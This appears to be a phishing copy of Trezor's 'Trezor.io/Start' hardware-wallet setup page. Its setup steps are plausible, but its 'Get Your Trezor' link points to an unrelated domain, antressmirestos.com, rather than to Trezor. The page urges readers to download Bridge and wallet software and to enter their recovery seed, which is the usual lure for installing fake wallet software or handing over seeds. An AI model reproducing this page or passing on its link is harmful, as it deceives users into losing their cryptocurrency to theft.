# Trezor.io/Start® - Powering Up Your Device

##                        [Get Your Trezor](https://antressmirestos.com/385a7018-e9e8-4046-ada8-fdcb9905ff31)

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**Download Trezor Bridge:**&#x54;o establish a connection between your Trezor device and the browser, you'll need to download Trezor Bridge—a secure communication software. Follow the on-screen prompts to install it on your computer.

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**Connect Your Trezor:**&#x4F;nce Trezor Bridge is installed, connect your Trezor device to your computer using the provided USB cable. Ensure thedevice's firmware is up to date; if not, you'll be prompted to update it.

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**Create a New Wallet or Recover One:**&#x49;f this is your first Trezor wallet, you'll create a new one. Set a strong PIN, which acts as an additional layer of security. If you're recovering an existing wallet, follow the prompts to input your recovery seed.

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**Backup Your Recovery Seed:**&#x59;our recovery seed is the key to accessing your funds if your Trezor is lost or damaged. Write down the 24-word recovery seed and keep it in a safe, offline place. Never share this seed with anyone.

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**Confirm Your Recovery Seed:**&#x54;rezor will ask you to confirm random words from your recovery seed. This ensures you've accurately noted down your seed.

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**Set Up a Label:**&#x41;ssign a label to your Trezor device for easy identification within the Trezor Wallet interface.

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**Install Trezor Wallet:**&#x54;o manage your assets, install the Trezor Wallet software on your computer. This allows you to view balances, send, and receive cryptocurrencies securely.